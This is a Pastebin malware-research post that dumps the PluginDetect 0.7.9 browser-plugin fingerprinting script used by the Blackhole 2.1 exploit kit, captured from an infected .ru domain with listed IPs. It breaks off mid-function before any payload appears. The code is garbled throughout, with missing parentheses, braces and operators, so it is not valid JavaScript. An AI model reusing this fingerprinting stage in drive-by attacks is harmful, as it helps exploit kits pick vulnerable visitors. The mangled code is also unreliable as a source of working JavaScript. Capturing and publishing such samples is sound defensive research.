SHARE
TWEET

MalwareMustDie! PluginDetect 0.7.9 BHEK2 20130126

MalwareMustDie Jan 26th, 2013 343 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #MalwareMustDie - Blackhole2.1 PluginDetect 0.7.9 (jinxed code)
  2. //Infection of eziponoma.ru (202.72.245.146, 94.23.3.196, 195.210.47.208)
  3. // @unixfreaxjp ~]$ date
  4. // Sun Jan 27 02:14:21 JST 2013
  5.  
  6. var PluginDetect =
  7.   version : "0.7.9", name : "PluginDetect", handler : function (c, b, a)
  8.     return function ()
  9.       c(b, a)
  10.     }
  11.   }
  12.   , openTag : "<", isDefined : function (b)
  13.     return typeof b != "undefined"
  14.   }
  15.   , isArray : function (b)
  16.     return/array/i).testObject.prototype.toString.call(b))
  17.   }
  18.   , isFunc : function (b)
  19.     return typeof b == "function"
  20.   }
  21.   , isString : function (b)
  22.     return typeof b == "string"
  23.   }
  24.   , isNum : function (b)
  25.     return typeof b == "number"
  26.   }
  27.   , isStrNum : function (b)
  28.     returntypeof b == "string" &&/\d/).test(b))
  29.   }
  30.   , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum :
  31.   function (b, c)
  32.     var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  33.     exec(b) : null;
  34.     return a ? a[0] : null
  35.   }
  36.   , compareNums : function (h, f, d)
  37.     var e = this , c, b, a, g = parseInt;
  38.     if (e.isStrNum(h) && e.isStrNum(f))
  39.       if (e.isDefined(d) && d.compareNums
  40.         return d.compareNums(h, f)
  41.       }
  42.       c = h.split(e.splitNumRegx;
  43.       b = f.split(e.splitNumRegx;
  44.       for (a = 0; a < Math.min(c.length, b.length;
  45.       a ++
  46.         if (g(c[a], 10) > g(b[a], 10))
  47.           return 1
  48.         }
  49.         if (g(c[a], 10) < g(b[a], 10))
  50.           return  - 1
  51.         }
  52.       }
  53.     }
  54.     return 0
  55.   }
  56.   , formatNum : function (b, c)
  57.     var d = this , a, e;
  58.     if!d.isStrNum(b))
  59.       return null
  60.     }
  61.     if!d.isNum(c))
  62.       c = 4
  63.     }
  64.     c--;
  65.     e = b.replace/\s/g, "").split(d.splitNumRegx).concat["0", "0", "0", "0"];
  66.     for (a = 0; a < 4; a ++
  67.       if/^0+)(.+)$/.test(e[a]))
  68.         e[a] = RegExp.$2
  69.       }
  70.       if (a > c ||!/\d/).test(e[a]))
  71.         e[a] = "0"
  72.       }
  73.     }
  74.     return e.slice0, 4).join","
  75.   }
  76.   , $$hasMimeType : function (a)
  77.     return function (c)
  78.       if!a.isIE && c)
  79.         var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : [];
  80.         for (b = 0; b < d.length; b ++
  81.           if (a.isString(d[b]&&/ [ ^\ s] / .test(d[b]))
  82.             f = navigator.mimeTypes[d[b]];
  83.             e = f ? f.enabledPlugin : 0;
  84.             if (e && (e.name || e.description))
  85.               return f
  86.             }
  87.           }
  88.         }
  89.       }
  90.       return null
  91.     }
  92.   }
  93.   , findNavPlugin : function (l, e, c)
  94.     var j = this , h = new RegExp(l, "i", d =!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  95.     new RegExp(c, "i": 0, a = navigator.plugins, g = "", f, b, m;
  96.     for (f = 0; f < a.length; f ++
  97.       m = a[f].description || g;
  98.       b = a[f].name || g;
  99.       if ((h.test(m) &&!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  100.       test(b) &&!d || d.test(RegExp.leftContext + RegExp.rightContext))))
  101.         if!k ||! (k.test(m) || k.test(b)))
  102.           return a[f]
  103.         }
  104.       }
  105.     }
  106.     return null
  107.   }
  108.   , getMimeEnabledPlugin : function (k, m, c)
  109.     var e = this , f, b = new RegExp(m, "i", h = "", g = c ? new RegExp(c, "i": 0, a, l
  110.     , d, j = e.isString(k) ? [k] : k;
  111.     for (d = 0; d < j.length; d ++
  112.       if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin))
  113.         l = f.description || h;
  114.         a = f.name || h;
  115.         if (b.test(l) || b.test(a))
  116.           if!g ||! (g.test(l) || g.test(a)))
  117.             return f
  118.           }
  119.         }
  120.       }
  121.     }
  122.     return 0
  123.   }
  124.   , getPluginFileVersion : function (f, b)
  125.     var h = this , e, d, g, a, c =- 1;
  126.     if (h.OS2 ||! f ||! f.version ||! (e = h.getNum(f.version)))
  127.       return b
  128.     }
  129.     if!b)
  130.       return e
  131.     }
  132.     e = h.formatNum(e);
  133.     b = h.formatNum(b);
  134.     d = b.split(h.splitNumRegx;
  135.     g = e.split(h.splitNumRegx;
  136.     for (a = 0; a < d.length; a ++
  137.       if- 1 < c && c < a &&! (d[a] == "0"))
  138.         return b
  139.       }
  140.       if (g[a] != d[a]
  141.         if (c ==- 1
  142.           c = a
  143.         }
  144.         if (d[a] != "0"
  145.           return b
  146.         }
  147.       }
  148.     }
  149.     return e
  150.   }
  151.   , AXO : window.ActiveXObject, getAXO : function (a)
  152.     var f = null, d, b = this , c =
  153.     }
  154.     ;
  155.     try
  156.       f = new b.AXO(a)
  157.     }
  158.     catch (d)
  159.     }
  160.     return f
  161.   }
  162.   , convertFuncs : function (f)
  163.     var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
  164.     for (ain f)
  165.       if (b.test(a))
  166.         try
  167.           g = a.slice2;
  168.           if (g.length0 &&! f[g]
  169.             f[g] = f[a](f);
  170.             deletef[a]
  171.           }
  172.         }
  173.         catch (d)
  174.         }
  175.       }
  176.     }
  177.   }
  178.   , initObj : function (e, b, d)
  179.     var a, c;
  180.     if (e)
  181.       if (e[b[0]] == 1 || d)
  182.         for (a = 0; a < b.length; a = a + 2
  183.           e[b[a]] = b[a + 1]
  184.         }
  185.       }
  186.       for (ain e)
  187.         c = e[a];
  188.         if (c && c[b[0]] == 1
  189.           this .initObj(c, b)
  190.         }
  191.       }
  192.     }
  193.   }
  194.   , initScript : function ()
  195.     var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor ||
  196.     "", b = a.platform || "", k = a.product || "";
  197.     d.initObj(d, ["$", d];
  198.     for (hin d.Plugins
  199.       if (d.Plugins[h]
  200.         d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1
  201.       }
  202.     }
  203.     d.convertFuncs(d);
  204.     d.OS = 100;
  205.     if (b)
  206.       var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2,
  207.       "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
  208.       100];
  209.       for (h = g.length - 2; h >= 0; h = h - 2
  210.         if (g[h] && new RegExp(g[h], "i").test(b))
  211.           d.OS = g[h + 1];
  212.           break
  213.         }
  214.       }
  215.     }
  216.     ;
  217.     d.head = i.getElementsByTagName"head"[0] || i.getElementsByTagName"body"[0] || i.
  218.     body || null;
  219.     d.isIE = new Function"return/*@cc_on!@*/!1")();
  220.     d.verIE = d.isIE &&/MSIE\s*(\d+\.?\d*/i).test(l) ? parseFloat(RegExp.$1, 10: null
  221.     ;
  222.     d.ActiveXEnabled = false;
  223.     if (d.isIE
  224.       var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  225.       "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  226.       "Scripting.Dictionary", "wmplayer.ocx"];
  227.       for (h = 0; h < m.length; h ++
  228.         if (d.getAXO(m[h]))
  229.           d.ActiveXEnabled = true;
  230.           break
  231.         }
  232.       }
  233.     }
  234.     ;
  235.     d.isGecko =/Gecko\s*\/\s*\d/i).test(l) &&/Gecko/i).test(k);
  236.     d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*[\.\,\d]+/i).test(l) ? RegExp.$1 :
  237.     "0.9": null;
  238.     d.isChrome =/Chrome\s*\/\s*(\d[\d\.]*/i).test(l);
  239.     d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  240.     d.isSafari = ((/Apple/i).test(j) ||!j &&! d.isChrome)) &&
  241.     /Safari\s*\/\s*(\d[\d\.]*/i).test(l);
  242.     d.verSafari = d.isSafari &&/Version\s*\/\s*(\d[\d\.]*/i).test(l) ? d.formatNum
  243.     RegExp.$1) : null;
  244.     d.isOpera =/Opera\s*[\/]?\s*(\d+\.?\d*/i).test(l);
  245.     d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*/i).test(l) || 1? parseFloat(
  246.     RegExp.$1, 10: null;
  247.     d.addWinEvent"load", d.handler(d.runWLfuncs, d))
  248.   }
  249.   , init : function (d)
  250.     var c = this , b, d, a =
  251.       status :- 3, plugin : 0
  252.     }
  253.     ;
  254.     if!c.isString(d))
  255.       return a
  256.     }
  257.     if (d.length == 1
  258.       c.getVersionDelimiter = d;
  259.       return a
  260.     }
  261.     d = d.toLowerCase().replace/\s/g, "";
  262.     b = c.Plugins[d];
  263.     if!b ||! b.getVersion
  264.       return a
  265.     }
  266.     a.plugin = b;
  267.     if!c.isDefined(b.installed))
  268.       b.installed = null;
  269.       b.version = null;
  270.       b.version0 = null;
  271.       b.getVersionDone = null;
  272.       b.pluginName = d
  273.     }
  274.     c.garbage = false;
  275.     if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va"
  276.       a.status =- 2;
  277.       return a
  278.     }
  279.     a.status = 1;
  280.     return a
  281.   }
  282.   , fPush : function (b, a)
  283.     var c = this ;
  284.     if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]&& 0 < b.length
  285.     )))
  286.       a.push(b)
  287.     }
  288.   }
  289.   , callArray : function (b)
  290.     var c = this , a;
  291.     if (c.isArray(b))
  292.       for (a = 0; a < b.length; a ++
  293.         if (b[a] === null
  294.           return
  295.         }
  296.         c.call(b[a];
  297.         b[a] = null
  298.       }
  299.     }
  300.   }
  301.   , call : function (c)
  302.     var b = this , a = b.isArray(c) ? c.length :- 1;
  303.     if0 < a && b.isFunc(c[0]))
  304.       c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0
  305.     }
  306.     else
  307.       if (b.isFunc(c))
  308.         c(b)
  309.       }
  310.     }
  311.   }
  312.   , $$isMinVersion : function (a)
  313.     return function (h, g, d, c)
  314.       var e = a.init(h), f, b =- 1, j =
  315.       }
  316.       ;
  317.       if (e.status0
  318.         return e.status
  319.       }
  320.       f = e.plugin;
  321.       g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  322.       if (f.getVersionDone != 1
  323.         f.getVersion(g, d, c);
  324.         if (f.getVersionDone === null
  325.           f.getVersionDone = 1
  326.         }
  327.       }
  328.       a.cleanup();
  329.       if (f.installed !== null
  330.         b = f.installed= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version ===
  331.         null         ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 :- 0.1)))
  332.       }
  333.       ;
  334.       return b
  335.     }
  336.   }
  337.   , getVersionDelimiter : ",", $$getVersion : function (a)
  338.     return function (g, d, c)
  339.       var e = a.init(g), f, b, h =
  340.       }
  341.       ;
  342.       if (e.status0
  343.         return null
  344.       }
  345.       ;
  346.       f = e.plugin;
  347.       if (f.getVersionDone != 1
  348.         f.getVersionnull, d, c);
  349.         if (f.getVersionDone === null
  350.           f.getVersionDone = 1
  351.         }
  352.       }
  353.       a.cleanup();
  354.       b = (f.version || f.version0;
  355.       b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter: b;
  356.       return b
  357.     }
  358.   }
  359.   , cleanup : function ()
  360.     var a = this ;
  361.     if (a.garbage && a.isDefined(window.CollectGarbage))
  362.       window.CollectGarbage()
  363.     }
  364.   }
  365.   , addWinEvent : function (d, c)
  366.     var e = this , a = window, b;
  367.     if (e.isFunc(c))
  368.       if (a.addEventListener
  369.         a.addEventListener(d, c, false
  370.       }
  371.       else
  372.         if (a.attachEvent
  373.           a.attachEvent"on" + d, c)
  374.         }
  375.         else
  376.           b = a["on" + d];
  377.           a["on" + d] = e.winHandler(c, b)
  378.         }
  379.       }
  380.     }
  381.   }
  382.   , winHandler : function (d, c)
  383.     return function ()
  384.       d();
  385.       iftypeof c == "function"
  386.         c()
  387.       }
  388.     }
  389.   }
  390.   , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a)
  391.     var b =
  392.     }
  393.     ;
  394.     a.winLoaded = true;
  395.     a.callArray(a.WLfuncs0;
  396.     a.callArray(a.WLfuncs;
  397.     if (a.onDoneEmptyDiv
  398.       a.onDoneEmptyDiv()
  399.     }
  400.   }
  401.   , winLoaded : false, $$onWindowLoaded : function (a)
  402.     return function (b)
  403.       if (a.winLoaded
  404.         a.call(b)
  405.       }
  406.       else
  407.         a.fPush(b, a.WLfuncs
  408.       }
  409.     }
  410.   }
  411.   , $$onDetectionDone : function (a)
  412.     return function (h, g, c, b)
  413.       var d = a.init(h), k, e, j =
  414.       }
  415.       ;
  416.       if (d.status ==- 3
  417.         return  - 1
  418.       }
  419.       e = d.plugin;
  420.       if!a.isArray(e.funcs))
  421.         e.funcs = []
  422.       }
  423.       if (e.getVersionDone != 1
  424.         k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  425.       }
  426.       if (e.installed !=- 0.5 && e.installed != 0.5
  427.         a.call(g);
  428.         return 1
  429.       }
  430.       if (e.NOTF
  431.         a.fPush(g, e.funcs;
  432.         return 0
  433.       }
  434.       return 1
  435.     }
  436.   }
  437.   , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv : function
  438.   ()
  439.     var d = this , b, h, c, a, f, g;
  440.     if (d.div && d.div.childNodes
  441.       for (b = d.div.childNodes.length - 1; b >= 0; b --
  442.         c = d.div.childNodes[b];
  443.         if (c && c.childNodes
  444.           for (h = c.childNodes.length - 1; h >= 0; h --
  445.             g = c.childNodes[h];
  446.             try
  447.               c.removeChild(g)
  448.             }
  449.             catch (f)
  450.             }
  451.           }
  452.         }
  453.         if (c)
  454.           try
  455.             d.div.removeChild(c)
  456.           }
  457.           catch (f)
  458.           }
  459.         }
  460.       }
  461.     }
  462.     if!d.div
  463.       a = document.getElementById(d.divID;
  464.       if (a)
  465.         d.div = a
  466.       }
  467.     }
  468.     if (d.div && d.div.parentNode
  469.       try
  470.         d.div.parentNode.removeChild(d.div
  471.       }
  472.       catch (f)
  473.       }
  474.       d.div = null
  475.     }
  476.   }
  477.   , DONEfuncs : [], onDoneEmptyDiv : function ()
  478.     var c = this , a, b;
  479.     if!c.winLoaded
  480.       return
  481.     }
  482.     if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null
  483.       return
  484.     }
  485.     for (ain c)
  486.       b = c[a];
  487.       if (b && b.funcs
  488.         if (b.OTF == 3
  489.           return
  490.         }
  491.         if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null
  492.           return
  493.         }
  494.       }
  495.     }
  496.     for (a = 0; a < c.DONEfuncs.length; a ++
  497.       c.callArray(c.DONEfuncs
  498.     }
  499.     c.emptyDiv()
  500.   }
  501.   , getWidth : function (c)
  502.     if (c)
  503.       var a = c.scrollWidth || c.offsetWidth, b = this ;
  504.       if (b.isNum(a))
  505.         return a
  506.       }
  507.     }
  508.     return  - 1
  509.   }
  510.   , getTagStatus : function (m, g, a, b)
  511.     var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
  512.     span, i = c.getWidth(d);
  513.     if!k ||! h ||! d ||! c.getDOMobj(m))
  514.       return  - 2
  515.     }
  516.     if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize1
  517.       return 0
  518.     }
  519.     if (l >= i)
  520.       return  - 1
  521.     }
  522.     try
  523.       if (l == c.pluginSize &&!c.isIE || c.getDOMobj(m).readyState == 4))
  524.         if!m.winLoaded && c.winLoaded
  525.           return 1
  526.         }
  527.         if (m.winLoaded && c.isNum(b))
  528.           if!c.isNum(m.count))
  529.             m.count = b
  530.           }
  531.           if (b - m.count= 10
  532.             return 1
  533.           }
  534.         }
  535.       }
  536.     }
  537.     catch (f)
  538.     }
  539.     return 0
  540.   }
  541.   , getDOMobj : function (g, a)
  542.     var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  543.     try
  544.       if (b && a)
  545.         d.div.focus()
  546.       }
  547.     }
  548.     catch (f)
  549.     }
  550.     return b ? c.firstChild : null
  551.   }
  552.   , setStyle : function (b, g)
  553.     var f = b.style, a, d, c = this ;
  554.     if (f && g)
  555.       for (a = 0; a < g.length; a = a + 2
  556.         try
  557.           f[g[a]] = g[a + 1]
  558.         }
  559.         catch (d)
  560.         }
  561.       }
  562.     }
  563.   }
  564.   , insertDivInBody : function (i, g)
  565.     var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
  566.     document, a = d.getElementsByTagName"body"[0] || d.body;
  567.     if!a)
  568.       try
  569.         d.write'<div id="' + h + '">.' + c.openTag + "/div>";
  570.         b = d.getElementById(h)
  571.       }
  572.       catch (f)
  573.       }
  574.     }
  575.     a = d.getElementsByTagName"body"[0] || d.body;
  576.     if (a)
  577.       a.insertBefore(i, a.firstChild;
  578.       if (b)
  579.         a.removeChild(b)
  580.       }
  581.     }
  582.   }
  583.   , insertHTML : function (f, b, g, a, k)
  584.     var l, m = document, j = this , p, o = m.createElement"span", n, i;
  585.     var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  586.     "0px", "visibility", "visible"];
  587.     var h =
  588.     "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  589.     if!j.isDefined(a))
  590.       a = ""
  591.     }
  592.     if (j.isString(f) &&/[^\s]/).test(f))
  593.       f = f.toLowerCase().replace/\s/g, "";
  594.       p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  595.       p += 'style="' + h + 'display:inline;" ';
  596.       for (n = 0; n < b.length; n = n + 2
  597.         if/[^\s]/.test(b[n + 1]))
  598.           p += b[n] + '="' + b[n + 1] + '" '
  599.         }
  600.       }
  601.       p += ">";
  602.       for (n = 0; n < g.length; n = n + 2
  603.         if/[^\s]/.test(g[n + 1]))
  604.           p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  605.         }
  606.       }
  607.       p += a + j.openTag + "/" + f + ">"
  608.     }
  609.     else
  610.       p = a
  611.     }
  612.     if!j.div
  613.       i = m.getElementById(j.divID;
  614.       if (i)
  615.         j.div = i
  616.       }
  617.       else
  618.         j.div = m.createElement"div";
  619.         j.div.id = j.divID
  620.       }
  621.       j.setStyle(j.div, c.concat["width", j.divWidth + "px", "height", (j.pluginSize + 3
  622.        + "px", "fontSize", (j.pluginSize + 3+ "px", "lineHeight", (j.pluginSize + 3+
  623.       "px", "verticalAlign", "baseline", "display", "block"]));
  624.       if!i)
  625.         j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"];
  626.         j.insertDivInBody(j.div
  627.       }
  628.     }
  629.     if (j.div && j.div.parentNode
  630.       j.setStyle(o, c.concat["fontSize", (j.pluginSize + 3+ "px", "lineHeight", (j.
  631.       pluginSize + 3+ "px", "verticalAlign", "baseline", "display", "inline"]));
  632.       try
  633.         o.innerHTML = p
  634.       }
  635.       catch (l)
  636.       }
  637.       ;
  638.       try
  639.         j.div.appendChild(o)
  640.       }
  641.       catch (l)
  642.       }
  643.       ;
  644.       return
  645.         span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
  646.       }
  647.     }
  648.     return
  649.       span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
  650.     }
  651.   }
  652.   , file :
  653.     $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
  654.     , c)
  655.       var b = this , e = b.$, a;
  656.       if (d && e.isDefined(c))
  657.         if!d[b.any]
  658.           d[b.any] = []
  659.         }
  660.         if!d[b.valid]
  661.           d[b.valid] = []
  662.         }
  663.         d[b.any].push(c);
  664.         a = b.split(f, c);
  665.         if (a)
  666.           d[b.valid].push(a)
  667.         }
  668.       }
  669.     }
  670.     , getValidLength : function (a)
  671.       return a && a[this .valid] ? a[this .valid].length : 0
  672.     }
  673.     , getAnyLength : function (a)
  674.       return a && a[this .any] ? a[this .any].length : 0
  675.     }
  676.     , getValid : function (c, a)
  677.       var b = this ;
  678.       return c && c[b.valid] ? b.get(c[b.valid], a) : null
  679.     }
  680.     , getAny : function (c, a)
  681.       var b = this ;
  682.       return c && c[b.any] ? b.get(c[b.any], a) : null
  683.     }
  684.     , get : function (d, a)
  685.       var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  686.       return0 > b || b > c) ? null : d[b]
  687.     }
  688.     , split : function (g, c)
  689.       var b = this , e = b.$, f = null, a, d;
  690.       g = g ? g.replace".", "\.": "";
  691.       d = new RegExp("^(.*[^\/])(" + g + "\s*)$";
  692.       if (e.isString(c) && d.test(c))
  693.         a = (RegExp.$1).split"/";
  694.         f =
  695.           name : a[a.length - 1], ext : RegExp.$2, full : c
  696.         }
  697.         ;
  698.         a[a.length - 1] = "";
  699.         f.path = a.join"/"
  700.       }
  701.       return f
  702.     }
  703.     , z : 0
  704.   }
  705.   , Plugins :
  706.     java :
  707.       mimeType : ["application/x-java-applet", "application/x-java-vm",
  708.       "application/x-java-bean"], classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  709.       navigator :
  710.         a : window.navigator.javaEnabled(), javaEnabled : function ()
  711.           return this .a
  712.         }
  713.         , mimeObj : 0, pluginObj : 0
  714.       }
  715.       , OTF : null, minIEver : 7, debug : 0, debugEnable : function ()
  716.         var a = this , b = a.$;
  717.         a.debug = 1
  718.       }
  719.       , isDisabled :
  720.         $ : 1, DTK : function ()
  721.           var a = this , c = a.$, b = a.$$;
  722.           if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum"1.6")) <= 0|| (c.
  723.           isSafari && c.OS == 1 &&!c.verSafari || 0 > c.compareNums(c.verSafari,
  724.           "5,1,0,0"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled))
  725.             return 1
  726.           }
  727.           return 0
  728.         }
  729.         , AXO : function ()
  730.           var a = this , c = a.$, b = a.$$;
  731.           return!c.isIE ||! c.ActiveXEnabled ||!b.debug && b.DTK.query().status !== 0
  732.           ))
  733.         }
  734.         , navMime : function ()
  735.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  736.           if (d.isIE ||! a.mimeObj ||! a.pluginObj
  737.             return 1
  738.           }
  739.           return 0
  740.         }
  741.         , navPlugin : function ()
  742.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  743.           if (d.isIE ||! a.mimeObj ||! a.pluginObj
  744.             return 1
  745.           }
  746.           return 0
  747.         }
  748.         , windowDotJava : function ()
  749.           var a = this , c = a.$, b = a.$$;
  750.           if!window.java
  751.             return 1
  752.           }
  753.           if (c.OS == 2 && c.verOpera8 && c.verOpera && c.verOpera < (9.3 - 0.1))
  754.             return 1
  755.           }
  756.           return 0
  757.         }
  758.         , allApplets : function ()
  759.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  760.           if (d.OS= 20
  761.             return 0
  762.           }
  763.           if (d.verOpera && d.verOpera11 &&! a.javaEnabled() &&! c.lang.System.
  764.           getProperty()[0]
  765.             return 1
  766.           }
  767.           if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum"2"))) &&! a.
  768.           mimeObj &&! c.lang.System.getProperty()[0]
  769.             return 1
  770.           }
  771.           return 0
  772.         }
  773.         , AppletTag : function ()
  774.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  775.           return d.isIE ?! a.javaEnabled() : 0
  776.         }
  777.         , ObjectTag : function ()
  778.           var a = this , c = a.$, b = a.$$;
  779.           return c.isIE ?! c.ActiveXEnabled : 0
  780.         }
  781.         , z : 0
  782.       }
  783.       , getVerifyTagsDefault : function ()
  784.         var a = this , c = a.$, b = [1, 0, 1];
  785.         if (c.OS= 20
  786.           return b
  787.         }
  788.         if ((c.isIE && (c.verIE9 ||! c.ActiveXEnabled)) || (c.verGecko && 0 > c.
  789.         compareNums(c.verGecko, c.formatNum"2"))) || (c.isSafari &&!c.verSafari || 0
  790.         c.compareNums(c.verSafari, c.formatNum"4")))) || (c.verOpera && c.verOpera10
  791.         ))
  792.           b = [1, 1, 1]
  793.         }
  794.         return b
  795.       }
  796.       , getVersion : function (j, g, i)
  797.         var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
  798.         l = null, c = null;
  799.         if (b.getVersionDone === null
  800.           b.OTF = 0;
  801.           k.mimeObj = d.hasMimeType(b.mimeType;
  802.           if (k.mimeObj
  803.             k.pluginObj = k.mimeObj.enabledPlugin
  804.           }
  805.           if (h)
  806.             h.begin()
  807.           }
  808.         }
  809.         a.setVerifyTagsArray(i);
  810.         d.file.save(b, ".jar", g);
  811.         if (b.getVersionDone === 0
  812.           if (a.should_Insert_Query_Any())
  813.             e = a.insert_Query_Any();
  814.             b.setPluginStatus(e[0], e[1], f)
  815.           }
  816.           return
  817.         }
  818.         if ((!f || b.debug&& b.DTK.query().version
  819.           f = b.DTK.version
  820.         }
  821.         if ((!f || b.debug&& b.navMime.query().version
  822.           f = b.navMime.version
  823.         }
  824.         if ((!f || b.debug&& b.navPlugin.query().version
  825.           f = b.navPlugin.version
  826.         }
  827.         if ((!f || b.debug&& b.AXO.query().version
  828.           f = b.AXO.version
  829.         }
  830.         if (b.nonAppletDetectionOk(f))
  831.           c = f
  832.         }
  833.         if!c || b.debug || a.VerifyTagsHas2.2|| a.VerifyTagsHas2.5))
  834.           e = b.lang.System.getProperty();
  835.           if (e[0]
  836.             f = e[0];
  837.             c = e[0];
  838.             l = e[1]
  839.           }
  840.         }
  841.         b.setPluginStatus(c, l, f);
  842.         if (a.should_Insert_Query_Any())
  843.           e = a.insert_Query_Any();
  844.           if (e[0]
  845.             c = e[0];
  846.             l = e[1]
  847.           }
  848.         }
  849.         b.setPluginStatus(c, l, f)
  850.       }
  851.       , nonAppletDetectionOk : function (b)
  852.         var d = this , e = d.$, a = d.navigator, c = 1;
  853.         if!b ||!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) ||!e.isIE &&! a
  854.         .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled))
  855.           c = 0
  856.         }
  857.         else
  858.           if (e.OS= 20
  859.           }
  860.           else
  861.             if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
  862.             ())
  863.               c = 0
  864.             }
  865.           }
  866.         }
  867.         return c
  868.       }
  869.       , setPluginStatus : function (d, f, a)
  870.         var c = this , e = c.$, b;
  871.         a = a || c.version0;
  872.         if0 < c.OTF
  873.           d = d || c.lang.System.getProperty()[0]
  874.         }
  875.         if (c.OTF3
  876.           b = d ? 1 : (a ?- 0.2 :- 1;
  877.           if (c.installed === null || b > c.installed
  878.             c.installed = b
  879.           }
  880.         }
  881.         if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[0] &&! c.lang.System.getProperty
  882.         ()[0]
  883.           c.installed = a ?- 0.2 :- 1
  884.         }
  885.         ;
  886.         if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5
  887.           c.installed = (c.NOTF.isJavaActive1== 1 || c.lang.System.getProperty()[0]?
  888.           0.5 :- 0.5
  889.         }
  890.         if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5))
  891.           if (d)
  892.             c.installed = 1
  893.           }
  894.           else
  895.             if (c.NOTF.isJavaActive1== 1
  896.               if (a)
  897.                 c.installed = 1;
  898.                 d = a
  899.               }
  900.               else
  901.                 c.installed = 0
  902.               }
  903.             }
  904.             else
  905.               if (a)
  906.                 c.installed =- 0.2
  907.               }
  908.               else
  909.                 c.installed =- 1
  910.               }
  911.             }
  912.           }
  913.         }
  914.         ;
  915.         if (a)
  916.           c.version0 = e.formatNum(e.getNum(a))
  917.         }
  918.         if (d)
  919.           c.version = e.formatNum(e.getNum(d))
  920.         }
  921.         if (f && e.isString(f))
  922.           c.vendor = f
  923.         }
  924.         if!c.vendor
  925.           c.vendor = ""
  926.         }
  927.         if (c.verify && c.verify.isEnabled())
  928.           c.getVersionDone = 0
  929.         }
  930.         else
  931.           if (c.getVersionDone != 1
  932.             if (c.OTF2
  933.               c.getVersionDone = 0
  934.             }
  935.             else
  936.               c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  937.             }
  938.           }
  939.         }
  940.       }
  941.       , DTK :
  942.         $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
  943.         Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  944.         "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
  945.         "application/java-deployment-toolkit",
  946.         "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function
  947.         ()
  948.           return this .$$.isDisabled.DTK()
  949.         }
  950.         , query : function ()
  951.           var k = this , g = k.$, d = k.$$, j, l, h, m =
  952.           }
  953.           , f =
  954.           }
  955.           , a, c = null, i = null, b = (k.hasRun || k.disabled());
  956.           k.hasRun = 1;
  957.           if (b)
  958.             return k
  959.           }
  960.           k.status = 0;
  961.           if (g.isIE && 6= g.verIE
  962.             for (l = 0; l < k.classID.length; l ++
  963.               k.HTML = g.insertHTML"object", ["classid", k.classID[l]], [];
  964.               c = g.getDOMobj(k.HTML;
  965.               try
